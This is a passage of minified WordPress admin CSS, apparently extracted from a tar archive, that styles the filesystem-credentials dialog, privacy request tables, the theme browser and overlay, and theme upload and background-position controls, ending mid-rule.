.notification-dialog{top:10%;max-height:85%}.request-filesystem-credentials-dialog-content{margin:25px}#request-filesystem-credentials-title{font-size:1.3em;margin:1em 0}.request-filesystem-credentials-form legend{font-size:1em;padding:1.33em 0;font-weight:600}.request-filesystem-credentials-form input[type=password],.request-filesystem-credentials-form input[type=text]{display:block}.request-filesystem-credentials-dialog input[type=password],.request-filesystem-credentials-dialog input[type=text]{width:100%}.request-filesystem-credentials-form .field-title{font-weight:600}.request-filesystem-credentials-dialog label[for=hostname],.request-filesystem-credentials-dialog label[for=private_key],.request-filesystem-credentials-dialog label[for=public_key]{display:block;margin-bottom:1em}.request-filesystem-credentials-dialog .ftp-password,.request-filesystem-credentials-dialog .ftp-username{float:right;width:48%}.request-filesystem-credentials-dialog .ftp-password{margin-right:4%}.request-filesystem-credentials-dialog .request-filesystem-credentials-action-buttons{text-align:left}.request-filesystem-credentials-dialog label[for=ftp]{margin-left:10px}.request-filesystem-credentials-dialog #auth-keys-desc{margin-bottom:0}#request-filesystem-credentials-dialog .button:not(:last-child){margin-left:10px}#request-filesystem-credentials-form .cancel-button{display:none}#request-filesystem-credentials-dialog .cancel-button{display:inline}.request-filesystem-credentials-dialog .ftp-password,.request-filesystem-credentials-dialog .ftp-username{float:none;width:auto}.request-filesystem-credentials-dialog .ftp-username{margin-bottom:1em}.request-filesystem-credentials-dialog .ftp-password{margin:0}.request-filesystem-credentials-dialog .ftp-password em{color:#757575}.request-filesystem-credentials-dialog label{display:block;line-height:1.5;margin-bottom:1em}.request-filesystem-credentials-form legend{padding-bottom:0}.request-filesystem-credentials-form #ssh-keys legend{font-size:1.3em}.request-filesystem-credentials-form .notice{margin:0 0 20px;clear:both}.tools-privacy-policy-page form{margin-bottom:1.3em}.tools-privacy-policy-page input.button{margin:0 6px 0 1px}.tools-privacy-policy-page select{margin:0 6px .5em 1px}.tools-privacy-edit{margin:1.5em 0}.tools-privacy-policy-page span{line-height:2}.privacy_requests .column-email{width:40%}.privacy_requests .column-type{text-align:center}.privacy_requests tfoot td:first-child,.privacy_requests thead td:first-child{border-right:4px solid #fff}.privacy_requests tbody th{border-right:4px solid #fff;background:#fff;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.privacy_requests .row-actions{color:#787c82}.privacy_requests .row-actions.processing{position:static}.privacy_requests tbody .has-request-results th{box-shadow:none}.privacy_requests tbody .request-results th .notice{margin:0 0 5px}.privacy_requests tbody td{background:#fff;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.privacy_requests tbody .has-request-results td{box-shadow:none}.privacy_requests .next_steps .button{word-wrap:break-word;white-space:normal}.privacy_requests .status-request-confirmed td,.privacy_requests .status-request-confirmed th{background-color:#fff;border-right-color:#72aee6}.privacy_requests .status-request-failed td,.privacy_requests .status-request-failed th{background-color:#f6f7f7;border-right-color:#d63638}.privacy_requests .export_personal_data_failed a{vertical-align:baseline}.status-label{font-weight:600}.status-label.status-request-pending{font-weight:400;font-style:italic;color:#646970}.status-label.status-request-failed{color:#d63638;font-weight:600}.privacy_requests .status-date{display:block;font-weight:400}.wp-privacy-request-form{clear:both}.wp-privacy-request-form-field{margin:1.5em 0}.wp-privacy-request-form input{margin:0}@media screen and (max-width:782px){textarea{-webkit-appearance:none}input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week]{-webkit-appearance:none;padding:0 12px;min-height:40px}::-webkit-datetime-edit{line-height:1.875}.widefat tfoot td input[type=checkbox],.widefat th input[type=checkbox],.widefat thead td input[type=checkbox],input[type=checkbox]{-webkit-appearance:none}.widefat tfoot td input[type=checkbox],.widefat th input[type=checkbox],.widefat thead td input[type=checkbox]{margin-bottom:8px}.widefat tfoot td input[type=checkbox]:before,.widefat th input[type=checkbox]:before,.widefat thead td input[type=checkbox]:before,input[type=checkbox]:checked:before{width:1.875rem;height:1.875rem;margin:-.1875rem -.3125rem}input[type=checkbox],input[type=radio]{height:1.5625rem;width:1.5625rem}.wp-admin p input[type=checkbox],.wp-admin p input[type=radio]{margin-top:-.1875rem}input[type=radio]:checked:before{vertical-align:middle;width:.5625rem;height:.5625rem;margin:.4375rem;line-height:.76190476}.wp-admin .form-table select,.wp-core-ui select{min-height:40px;font-size:16px;line-height:2.5;padding:0 12px 0 24px}.wp-admin .button-cancel{margin-bottom:0;padding:2px 0;font-size:14px;vertical-align:middle}#adduser .form-field input,#createuser .form-field input{width:100%}.form-table{box-sizing:border-box}.form-table td,.form-table th,.label-responsive{display:block;width:auto;vertical-align:middle}.label-responsive{margin:.5em 0}.export-filters li{margin-bottom:0}.form-table .color-palette .color-palette-shade,.form-table .color-palette td{display:table-cell;width:15px;height:30px;padding:0}.form-table .color-palette{margin-left:10px}input,textarea{font-size:16px}#profile-page .form-table textarea,.form-table span.description,.form-table td input[type=email],.form-table td input[type=password],.form-table td input[type=text],.form-table td select,.form-table td textarea{width:100%;display:block;max-width:none;box-sizing:border-box}.form-table .form-required.form-invalid td:after{float:left;margin:-30px 0 0 3px}.form-table input[type=text].small-text,input[type=number].small-text,input[type=password].small-text,input[type=search].small-text,input[type=text].small-text{width:auto;max-width:4.375em;display:inline;padding:3px 6px;margin:0 3px}.form-table .regular-text~input[type=text].small-text{margin-top:5px}#pass-strength-result{width:100%;box-sizing:border-box;padding:8px}.profile-php .wp-pwd .caps-warning{padding:8px}.password-input-wrapper{display:block}.wp-core-ui .tablenav input[type=date],.wp-core-ui .tablenav input[type=datetime-local],.wp-core-ui .tablenav input[type=datetime],.wp-core-ui .tablenav input[type=email],.wp-core-ui .tablenav input[type=month],.wp-core-ui .tablenav input[type=number],.wp-core-ui .tablenav input[type=password],.wp-core-ui .tablenav input[type=search],.wp-core-ui .tablenav input[type=tel],.wp-core-ui .tablenav input[type=text],.wp-core-ui .tablenav input[type=time],.wp-core-ui .tablenav input[type=url],.wp-core-ui .tablenav input[type=week],.wp-core-ui .tablenav select{min-height:40px}.wp-core-ui .tablenav .button{min-height:40px;line-height:2.71428571;padding:0 14px}p.search-box{float:none;width:100%;margin-bottom:20px;display:flex}p.search-box input[name="s"]{width:100%;float:none;margin-bottom:10px;vertical-align:middle}.js.plugins-php .search-box .wp-filter-search{width:100%;margin-bottom:0}p.search-box input[type=search],p.search-box input[type=text]{min-height:40px;padding:0 12px}p.search-box input[type=submit].button{margin-bottom:10px}.form-table span.description{display:inline;padding:4px 0 0;line-height:1.4;font-size:14px}.form-table th{padding:10px 0 0;border-bottom:0}.form-table td{margin-bottom:0;padding:4px 0 6px}.form-table.permalink-structure td code{display:inline-block}.form-table.permalink-structure .structure-selection{margin-top:8px}.form-table.permalink-structure .structure-selection .row>div{max-width:calc(100% - 36px);width:100%}.form-table.permalink-structure td input[type=text]{margin-top:4px}.permalink-structure-has-blog-prefix{display:flex;align-items:center}.form-table input.regular-text{width:100%}.form-table label{font-size:14px}.form-table td>label:first-child{display:inline-block;margin-top:.35em}.background-position-control .button-group>label{font-size:0}.form-table fieldset label{display:block}.form-field #domain{max-width:none}.wp-pwd{position:relative}#profile-page .form-table #pass1{padding-left:90px}.wp-pwd button.button{background:0 0;border:1px solid transparent;box-shadow:none;line-height:2;margin:0;padding:5px 9px;position:absolute;left:0;top:0;width:2.375rem;height:2.375rem;min-width:40px;min-height:40px}.wp-pwd button.wp-hide-pw{left:2.5rem}body.user-new-php .wp-pwd button.wp-hide-pw{left:0}.wp-pwd button.button:focus,.wp-pwd button.button:hover{background:0 0}.wp-pwd button.button:active{background:0 0;box-shadow:none;transform:none}.wp-pwd .button .text{display:none}.wp-pwd [type=password],.wp-pwd [type=text]{line-height:2;padding-left:5rem}body.user-new-php .wp-pwd [type=password],body.user-new-php .wp-pwd [type=text]{padding-left:2.5rem}.wp-cancel-pw .dashicons-no{display:inline-block}.mailserver-pass-wrap .wp-pwd{display:block}#mailserver_pass{padding-left:10px}.options-general-php input[type=text].small-text{max-width:6.25em;margin:0;min-height:40px}.tools-privacy-policy-page form.wp-create-privacy-page{margin-bottom:1em}.tools-privacy-policy-page input#set-page,.tools-privacy-policy-page select{margin:10px 0 0}.tools-privacy-policy-page .wp-create-privacy-page span{display:block;margin-bottom:1em}.tools-privacy-policy-page .wp-create-privacy-page .button{margin-right:0}.wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) td.column-primary:not(.check-column){display:table-cell}.wp-list-table.privacy_requests.widefat th input,.wp-list-table.privacy_requests.widefat thead td input{margin-right:5px}.wp-privacy-request-form-field input[type=text]{width:100%;margin-bottom:10px;vertical-align:middle}.regular-text{max-width:100%}}@media only screen and (max-width:768px){.form-field input[type=email],.form-field input[type=password],.form-field input[type=text],.form-field select,.form-field textarea{width:99%}.form-wrap .form-field{padding:0}}@media only screen and (max-height:480px),screen and (max-width:450px){.file-editor-warning .notification-dialog,.request-filesystem-credentials-dialog .notification-dialog{width:100%;height:100%;max-height:100%;position:fixed;top:0;margin:0;right:0}}@media screen and (max-width:600px){.color-option{width:49%}}@media only screen and (max-width:320px){.options-general-php .date-time-text.date-time-custom-text{min-width:0;margin-left:.5em}}@keyframes rotation{0%{transform:rotate(0)}100%{transform:rotate(-359deg)}} css/themes.min.css 0000644 00000103001 15233246127 0010115 0 ustar 00 /*! This file is auto-generated */ .themes-php{overflow-y:scroll}.themes-php #adminmenuwrap{z-index:10001}body.js .theme-browser.search-loading{display:none}.theme-browser .themes{clear:both}.themes-php .wrap h1 .button{margin-left:20px}.themes-php .search-form{display:inline-flex;align-items:center;position:relative;top:0;gap:.5rem;width:100%;justify-content:end}.themes-php .wp-filter-search{position:relative;margin:0;width:280px}.theme .notice,.theme .notice.is-dismissible{left:0;margin:0;position:absolute;right:0;top:0}.theme-browser .theme{cursor:pointer;float:left;margin:0 4% 4% 0;position:relative;width:30.6%;background:#fff;border:1px solid rgb(0,0,0,.1);border-radius:8px;box-sizing:border-box;overflow:hidden}.theme-browser .theme:nth-child(3n){margin-right:0}.theme-browser .theme.focus,.theme-browser .theme:hover{cursor:pointer}.theme-browser .theme .theme-name{font-size:15px;font-weight:600;height:18px;margin:0;padding:16px 15px;border-top:1px solid rgb(0,0,0,.1);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;background:#fff}.theme-browser .theme .theme-actions{opacity:0;transition:opacity .1s ease-in-out;height:auto;background:rgba(246,247,247,.7);border-left:1px solid rgba(0,0,0,.05)}.theme-browser .theme.focus .theme-actions,.theme-browser .theme:hover .theme-actions{opacity:1}.theme-browser .theme .theme-actions .button-primary{margin-right:3px}.theme-browser .theme .theme-actions .button,.theme-browser .theme .theme-actions .button.updated-message,.theme-browser .theme .theme-actions .button.updating-message{float:none;margin-left:3px}.theme-browser .theme .theme-actions .button.updated-message::before,.theme-browser .theme .theme-actions .button.updating-message::before{line-height:1;vertical-align:text-bottom;position:relative;top:2px}.theme-browser .theme .theme-actions .button:not(.button-primary){background:#fff}.theme-browser .theme .theme-actions .button:not(.button-primary):hover{background:#f0f0f0}.theme-browser .theme .theme-actions .button:not(.button-primary):focus{background:#fff}.theme-browser .theme .theme-screenshot{display:block;overflow:hidden;position:relative;-webkit-backface-visibility:hidden;transition:opacity .2s ease-in-out}.theme-browser .theme .theme-screenshot:after{content:"";display:block;padding-top:66.66666%}.theme-browser .theme .theme-screenshot img{height:auto;position:absolute;left:0;top:0;width:100%;transition:opacity .2s ease-in-out}.theme-browser .theme.focus .theme-screenshot,.theme-browser .theme:hover .theme-screenshot{background:#fff}.theme-browser.rendered .theme.focus .theme-screenshot img,.theme-browser.rendered .theme:hover .theme-screenshot img{opacity:.4}.theme-browser .theme .more-details{opacity:0;position:absolute;top:35%;right:20%;left:20%;width:60%;background:#1d2327;background:rgba(0,0,0,.7);color:#fff;font-size:15px;text-shadow:0 1px 0 rgba(0,0,0,.6);-webkit-font-smoothing:antialiased;font-weight:600;padding:15px 12px;text-align:center;border-radius:3px;border:none;transition:opacity .1s ease-in-out;cursor:pointer}.theme-browser .theme .more-details:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9)}.theme-browser .theme.focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.theme-browser .theme.focus .more-details{opacity:1}.theme-browser .theme.active.focus .theme-actions{display:block}.theme-browser.rendered .theme.focus .more-details,.theme-browser.rendered .theme:hover .more-details{opacity:1}.theme-browser .theme.active .theme-name{background:#1d2327;color:#fff;padding-right:115px;font-weight:300;box-shadow:inset 0 1px 1px rgba(0,0,0,.5)}.theme-browser .customize-control .theme.active .theme-name{padding-right:15px}.theme-browser .theme.active .theme-name span{font-weight:600}.theme-browser .theme.active .theme-actions{background:0 0;border-left:none;opacity:1}.theme-browser .theme.active .theme-actions .button-primary{border-color:#fff}.theme-id-container{position:relative}.theme-browser .theme .theme-actions,.theme-browser .theme.active .theme-actions{position:absolute;top:50%;transform:translateY(-50%);right:0;padding:9px 12px}.theme-browser .theme:not(.active) .theme-actions{box-shadow:inset 0 1px 0 rgba(0,0,0,.1)}.theme-browser .theme.active .theme-actions .button-primary{margin-right:0}.theme-browser .theme.active .theme-actions .button:not(.button-primary){background:#fff}.theme-browser .theme.active .theme-actions .button:not(.button-primary):hover{background:#f0f0f0}.theme-browser .theme.active .theme-actions .button:not(.button-primary):focus{background:#fff}.theme-browser .theme .theme-author{background:#1d2327;color:#f0f0f1;display:none;font-size:14px;margin:0 10px;padding:5px 10px;position:absolute;bottom:56px}.theme-browser .theme.display-author .theme-author{display:block}.theme-browser .theme.display-author .theme-author a{color:inherit}.theme-browser .theme.add-new-theme{background:0 0;border:none;overflow:visible}.theme-browser .theme.add-new-theme a{text-decoration:none;display:block;position:relative;z-index:1}.theme-browser .theme.add-new-theme a:after{display:block;content:"";background:0 0;background:rgba(0,0,0,0);position:absolute;top:0;left:0;right:0;bottom:0;padding:0;text-shadow:none;border:5px dashed #dcdcde;border:5px dashed rgba(0,0,0,.1);box-sizing:border-box}.theme-browser .theme.add-new-theme span:after{background:#dcdcde;background:rgba(140,143,148,.1);border-radius:50%;display:inline-block;content:"\f132";content:"\f132"/'';-webkit-font-smoothing:antialiased;font:normal 74px/115px dashicons;width:100px;height:100px;vertical-align:middle;text-align:center;color:#8c8f94;position:absolute;top:30%;left:50%;margin-left:-50px;text-indent:-4px;padding:0;text-shadow:none;z-index:4}.rtl .theme-browser .theme.add-new-theme span:after{text-indent:4px}.theme-browser .theme.add-new-theme a:focus .theme-screenshot,.theme-browser .theme.add-new-theme a:hover .theme-screenshot{background:0 0}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{background:#fff;color:#2271b1}.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{border-color:transparent;color:#fff;background:#2271b1;content:""}.theme-browser .theme.add-new-theme .theme-name{background:0 0;border:none;text-align:center;font-weight:400;position:relative;top:0;margin-top:-18px;padding-top:0;padding-bottom:48px}.theme-browser .theme.add-new-theme a:focus .theme-name,.theme-browser .theme.add-new-theme a:hover .theme-name{color:#fff;z-index:2}.theme-overlay .theme-backdrop{position:absolute;left:-20px;right:0;top:0;bottom:0;background:#f0f0f1;background:rgba(240,240,241,.9);z-index:10000;min-height:calc(100vh - var(--wp-admin--admin-bar--height,32px))}.theme-overlay .theme-header{position:absolute;top:0;left:0;right:0;height:48px;border-bottom:1px solid #dcdcde}.theme-overlay .theme-header button{padding:0}.theme-overlay .theme-header .close{cursor:pointer;height:48px;width:50px;text-align:center;float:right;border:0;border-left:1px solid #dcdcde;background-color:transparent;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-overlay .theme-header .close:before{font:normal 22px/50px dashicons!important;color:#787c82;display:inline-block;content:"\f335";content:"\f335"/'';font-weight:300}.theme-overlay .theme-header .left,.theme-overlay .theme-header .right{cursor:pointer;color:#787c82;background-color:transparent;height:48px;width:54px;float:left;text-align:center;border:0;border-right:1px solid #dcdcde;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-overlay .theme-header .close:focus,.theme-overlay .theme-header .close:hover,.theme-overlay .theme-header .left:focus,.theme-overlay .theme-header .left:hover,.theme-overlay .theme-header .right:focus,.theme-overlay .theme-header .right:hover{background:#dcdcde;border-color:#c3c4c7;color:#000}.theme-overlay .theme-header .close:focus:before,.theme-overlay .theme-header .close:hover:before{color:#000}.theme-overlay .theme-header .close:focus,.theme-overlay .theme-header .left:focus,.theme-overlay .theme-header .right:focus{box-shadow:none;outline:0}.theme-overlay .theme-header .left.disabled,.theme-overlay .theme-header .left.disabled:hover,.theme-overlay .theme-header .right.disabled,.theme-overlay .theme-header .right.disabled:hover{color:#c3c4c7;background:inherit;cursor:inherit}.theme-overlay .theme-header .left:before,.theme-overlay .theme-header .right:before{font:normal 20px/50px dashicons!important;display:inline;font-weight:300}.theme-overlay .theme-header .left:before{content:"\f341";content:"\f341"/''}.theme-overlay .theme-header .right:before{content:"\f345";content:"\f345"/''}.theme-overlay .theme-wrap{clear:both;position:fixed;top:9%;left:190px;right:30px;bottom:3%;background:#fff;box-shadow:0 1px 20px 5px rgba(0,0,0,.1);z-index:10000;box-sizing:border-box;-webkit-overflow-scrolling:touch}body.folded .theme-browser~.theme-overlay .theme-wrap{left:70px}.theme-overlay .theme-about{position:absolute;top:49px;bottom:57px;left:0;right:0;overflow:auto;padding:2% 4%}.theme-overlay .theme-actions{position:absolute;text-align:center;bottom:0;left:0;right:0;padding:10px 25px 5px;background:#f6f7f7;z-index:30;box-sizing:border-box;border-top:1px solid #f0f0f1;display:flex;justify-content:center;gap:5px}.theme-overlay .theme-actions .button{margin-bottom:5px}.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"],.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"]{display:none}.broken-themes a.delete-theme,.theme-overlay .theme-actions .delete-theme{color:#b32d2e;text-decoration:none;border-color:transparent;box-shadow:none;background:0 0}.broken-themes a.delete-theme:focus,.broken-themes a.delete-theme:hover,.theme-overlay .theme-actions .delete-theme:focus,.theme-overlay .theme-actions .delete-theme:hover{background:#b32d2e;color:#fff;border-color:#b32d2e;box-shadow:0 0 0 1px #b32d2e}.theme-overlay .theme-actions .active-theme,.theme-overlay.active .theme-actions .inactive-theme{display:none}.theme-overlay .theme-actions .inactive-theme,.theme-overlay.active .theme-actions .active-theme{display:block}.theme-overlay .theme-screenshots{float:left;margin:0 30px 0 0;width:55%;max-width:1200px;text-align:center}.theme-overlay .screenshot{border:1px solid #fff;box-sizing:border-box;overflow:hidden;position:relative;box-shadow:0 0 0 1px rgba(0,0,0,.2)}.theme-overlay .screenshot:after{content:"";display:block;padding-top:75%}.theme-overlay .screenshot img{height:auto;position:absolute;left:0;top:0;width:100%}.theme-overlay.small-screenshot .theme-screenshots{position:absolute;width:302px}.theme-overlay.small-screenshot .theme-info{margin-left:350px;width:auto}.theme-overlay .screenshot.thumb{background:#c3c4c7;border:1px solid #f0f0f1;float:none;display:inline-block;margin:10px 5px 0;width:140px;height:80px;cursor:pointer}.theme-overlay .screenshot.thumb:after{content:"";display:block;padding-top:100%}.theme-overlay .screenshot.thumb img{cursor:pointer;height:auto;position:absolute;left:0;top:0;width:100%;height:auto}.theme-overlay .screenshot.selected{background:0 0;border:2px solid #72aee6}.theme-overlay .screenshot.selected img{opacity:.8}.theme-browser .theme .theme-screenshot.blank,.theme-overlay .screenshot.blank{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=)}.theme-overlay .theme-info{width:40%;float:left}.theme-overlay .current-label{background:#2c3338;color:#fff;font-size:11px;display:inline-block;padding:2px 8px;border-radius:2px;margin:0 0 -10px;-webkit-user-select:none;user-select:none}.theme-overlay .theme-name{color:#1d2327;font-size:32px;font-weight:100;margin:10px 0 0;line-height:1.3;word-wrap:break-word;overflow-wrap:break-word}.theme-overlay .theme-version{color:#646970;font-size:13px;font-weight:400;float:none;display:inline-block;margin-left:10px}.theme-overlay .theme-author{margin:15px 0 25px;color:#646970;font-size:16px;font-weight:400;line-height:inherit}.theme-overlay .toggle-auto-update{display:inline-flex;align-items:center;min-height:20px;vertical-align:top}.theme-overlay .theme-autoupdate .toggle-auto-update{text-decoration:none}.theme-overlay .theme-autoupdate .toggle-auto-update .label{text-decoration:underline}.theme-overlay .theme-description{color:#50575e;font-size:15px;font-weight:400;line-height:1.5;margin:30px 0 0}.theme-overlay .theme-tags{border-top:3px solid #f0f0f1;color:#646970;font-size:13px;font-weight:400;margin:30px 0 0;padding-top:20px}.theme-overlay .theme-tags span{color:#3c434a;font-weight:600;margin-right:5px}.theme-overlay .parent-theme{background:#fff;border:1px solid #f0f0f1;border-left:4px solid #72aee6;font-size:14px;font-weight:400;margin-top:30px;padding:10px 10px 10px 20px}.theme-overlay .parent-theme strong{font-weight:600}.single-theme .theme,.single-theme .theme-overlay .theme-backdrop,.single-theme .theme-overlay .theme-header{display:none}.single-theme .theme-overlay .theme-wrap{clear:both;min-height:330px;position:relative;left:auto;right:auto;top:auto;bottom:auto;z-index:10}.single-theme .theme-overlay .theme-about{padding:30px 30px 70px;position:static}.single-theme .theme-overlay .theme-actions{position:absolute}@media only screen and (min-width:2000px){#wpwrap .theme-browser .theme{width:17.6%;margin:0 3% 3% 0}#wpwrap .theme-browser .theme:nth-child(3n),#wpwrap .theme-browser .theme:nth-child(4n){margin-right:3%}#wpwrap .theme-browser .theme:nth-child(5n){margin-right:0}}@media only screen and (min-width:1680px){.theme-overlay .theme-wrap{width:1450px;margin:0 auto}}@media only screen and (min-width:1640px){.theme-browser .theme{width:22.7%;margin:0 3% 3% 0}.theme-browser .theme .theme-screenshot:after{padding-top:75%}.theme-browser .theme:nth-child(3n){margin-right:3%}.theme-browser .theme:nth-child(4n){margin-right:0}}@media only screen and (max-width:1120px){.theme-browser .theme{width:47.5%;margin-right:0}.theme-browser .theme:nth-child(2n){margin-right:0}.theme-browser .theme:nth-child(odd){margin-right:5%}}@media only screen and (max-width:960px){.theme-overlay .theme-wrap{left:65px}}@media only screen and (max-width:782px){.theme-overlay .theme-wrap,body.folded .theme-overlay .theme-wrap{top:0;right:0;bottom:0;left:0;padding:70px 20px 20px;border:none;z-index:100000;position:fixed}.theme-browser .theme.active .theme-name span{display:none}.theme-overlay .theme-screenshots{width:40%}.theme-overlay .theme-info{width:50%}.single-theme .theme-wrap{padding:10px}.theme-browser .theme .theme-actions{padding:5px 10px 4px}.theme-overlay.small-screenshot .theme-screenshots{position:static;float:none;max-width:302px}.theme-overlay.small-screenshot .theme-info{margin-left:0;width:auto}.theme.focus .more-details,.theme:hover .more-details,.theme:not(.active):focus .theme-actions,.theme:not(.active):hover .theme-actions{display:none}.theme-browser.rendered .theme.focus .theme-screenshot img,.theme-browser.rendered .theme:hover .theme-screenshot img{opacity:1}}@media only screen and (max-width:480px){.theme-browser .theme{width:100%;margin-right:0}.theme-browser .theme:nth-child(2n),.theme-browser .theme:nth-child(3n){margin-right:0}.theme-overlay .theme-about{bottom:105px}.theme-overlay .theme-actions{padding-left:4%;padding-right:4%}.theme-install-php .wp-filter .filter-count{margin-top:10px}}@media only screen and (max-width:650px){.theme-overlay .theme-description{margin-left:0}.theme-overlay .theme-actions .delete-theme{position:relative;right:auto;bottom:auto}.theme-overlay .theme-actions .inactive-theme{display:inline}.theme-overlay .theme-screenshots{width:100%;float:none;margin:0}.theme-overlay .theme-info{width:100%}.theme-overlay .theme-author{margin:5px 0 15px}.theme-overlay .current-label{margin-top:10px;font-size:13px}.themes-php .wp-filter-search{width:100%}.theme-install-php .wp-filter p.search-box{display:grid;row-gap:.5rem}.theme-browser .theme.add-new-theme span:after{font:normal 60px/90px dashicons;width:80px;height:80px;top:30%;left:50%;text-indent:0;margin-left:-40px}.single-theme .theme-wrap{margin:0 -12px 0 -10px;padding:10px}.single-theme .theme-overlay .theme-about{padding:10px;overflow:visible}.single-theme .current-label{display:none}.single-theme .theme-overlay .theme-actions{position:static}}.broken-themes{clear:both}.broken-themes table{text-align:left;width:50%;border-spacing:3px;padding:3px}.update-php .wrap{max-width:40rem}.theme-browser .theme .theme-installed{background:#2271b1}.theme-browser .theme .notice-success p:before{color:#68de7c;content:"\f147";content:"\f147"/'';display:inline-block;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.theme-install.updated-message:before{content:""}.theme-install-php .wp-filter{padding-left:20px}@media only screen and (max-width:1000px){.theme-install-php .wp-filter p.search-box{column-gap:.5rem}}.theme-install-php a.browse-themes,.theme-install-php a.upload{cursor:pointer}.plugin-install-tab-upload .upload-view-toggle .upload,.upload-view-toggle .browse{display:none}.plugin-install-tab-upload .upload-view-toggle .browse{display:inline}.upload-plugin,.upload-theme{box-sizing:border-box;display:none;margin:0;padding:50px 0;width:100%;overflow:hidden;position:relative;top:10px;text-align:center}.plugin-install-tab-upload .upload-plugin,.show-upload-view .upload-plugin,.show-upload-view .upload-plugin-wrap,.show-upload-view .upload-theme{display:block}.upload-plugin .wp-upload-form,.upload-theme .wp-upload-form{position:relative;margin:30px;display:inline-flex;justify-content:space-between;align-items:center;border:1px solid #c3c4c7;background:#f6f7f7}.upload-plugin .wp-upload-form input[type=file],.upload-theme .wp-upload-form input[type=file]{background:0 0;margin:0;padding:30px 0 30px 30px}.wp-upload-form input[type=submit].button{margin-right:30px}.upload-plugin .install-help,.upload-theme .install-help{color:#50575e;font-size:18px;font-style:normal;margin:0;padding:0;text-align:center}p.no-themes,p.no-themes-local{clear:both;color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0;text-align:center;display:none}.no-results p.no-themes{display:block}.theme-install-php .add-new-theme{display:none!important}@media only screen and (max-width:1120px){.upload-plugin .wp-upload-form,.upload-theme .wp-upload-form{margin:20px 0;max-width:100%}.upload-theme .install-help{font-size:15px;padding:20px 0 0}}.theme-details .theme-rating{line-height:1.9}.theme-details .star-rating{display:inline}.theme-details .no-rating,.theme-details .num-ratings{font-size:11px;color:#646970}.theme-details .no-rating{display:block;line-height:1.9}.update-from-upload-comparison{border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde;text-align:left;margin:1rem 0 1.4rem;border-collapse:collapse;width:100%}.update-from-upload-comparison tr:last-child td{height:1.4rem;vertical-align:top}.update-from-upload-comparison tr:first-child th{font-weight:700;height:1.4rem;vertical-align:bottom}.update-from-upload-comparison td.name-label{text-align:right}.update-from-upload-comparison td,.update-from-upload-comparison th{padding:.4rem 1.4rem}.update-from-upload-comparison td.warning{color:#d63638}.update-from-upload-actions{margin-top:1.4rem}.appearance_page_custom-header #headimg{border:1px solid #dcdcde;overflow:hidden;width:100%}.appearance_page_custom-header #upload-form p label{font-size:12px}.appearance_page_custom-header .available-headers .default-header{float:left;margin:0 20px 20px 0}.appearance_page_custom-header .random-header{clear:both;margin:0 20px 20px 0;vertical-align:middle}.appearance_page_custom-header .available-headers label input,.appearance_page_custom-header .random-header label input{margin-right:10px}.appearance_page_custom-header .available-headers label img{vertical-align:middle}div#custom-background-image{min-height:100px;border:1px solid #dcdcde}div#custom-background-image img{max-width:400px;max-height:300px}.background-position-control input[type=radio]:checked~.button{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);z-index:1}.background-position-control input[type=radio]:focus~.button{border-color:#4f94d4;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 3px rgba(34,113,177,.8);color:#1d2327}.background-position-control .background-position-center-icon,.background-position-control .background-position-center-icon:before{display:inline-block;line-height:1;text-align:center;transition:background-color .1s ease-in}.background-position-control .background-position-center-icon{height:20px;margin-top:13px;vertical-align:top;width:20px}.background-position-control .background-position-center-icon:before{background-color:#50575e;border-radius:50%;content:"";height:12px;width:12px}.background-position-control .button:hover .background-position-center-icon:before,.background-position-control input[type=radio]:focus~.button .background-position-center-icon:before{background-color:#1d2327}.background-position-control .button-group{display:block}.background-position-control .button-group .button{border-radius:0;box-shadow:none;height:40px!important;line-height:2.9!important;margin:0 -1px 0 0!important;padding:0 10px 1px!important;position:relative}.background-position-control .button-group .button:active,.background-position-control .button-group .button:focus,.background-position-control .button-group .button:hover{z-index:1}.background-position-control .button-group:last-child .button{box-shadow:0 1px 0 #c3c4c7}.background-position-control .button-group>label{margin:0!important}.background-position-control .button-group:first-child>label:first-child .button{border-radius:3px 0 0}.background-position-control .button-group:first-child>label:first-child .dashicons{transform:rotate(45deg)}.background-position-control .button-group:first-child>label:last-child .button{border-radius:0 3px 0 0}.background-position-control .button-group:first-child>label:last-child .dashicons{transform:rotate(-45deg)}.background-position-control .button-group:last-child>label:first-child .button{border-radius:0 0 0 3px}.background-position-control .button-group:last-child>label:first-child .dashicons{transform:rotate(-45deg)}.background-position-control .button-group:last-child>label:last-child .button{border-radius:0 0 3px}.background-position-control .button-group:last-child>label:last-child .dashicons{transform:rotate(45deg)}.background-position-control .button-group+.button-group{margin-top:-1px}body.full-overlay-active{overflow:hidden;visibility:hidden}.wp-full-overlay{background:0 0;z-index:500000;position:fixed;overflow:visible;top:0;bottom:0;left:0;right:0;height:100%;min-width:0}.wp-full-overlay-sidebar{box-sizing:border-box;position:fixed;min-width:300px;max-width:600px;width:18%;height:100%;top:0;bottom:0;left:0;padding:0;margin:0;z-index:10;background:#f0f0f1;border-right:none}.wp-full-overlay.collapsed 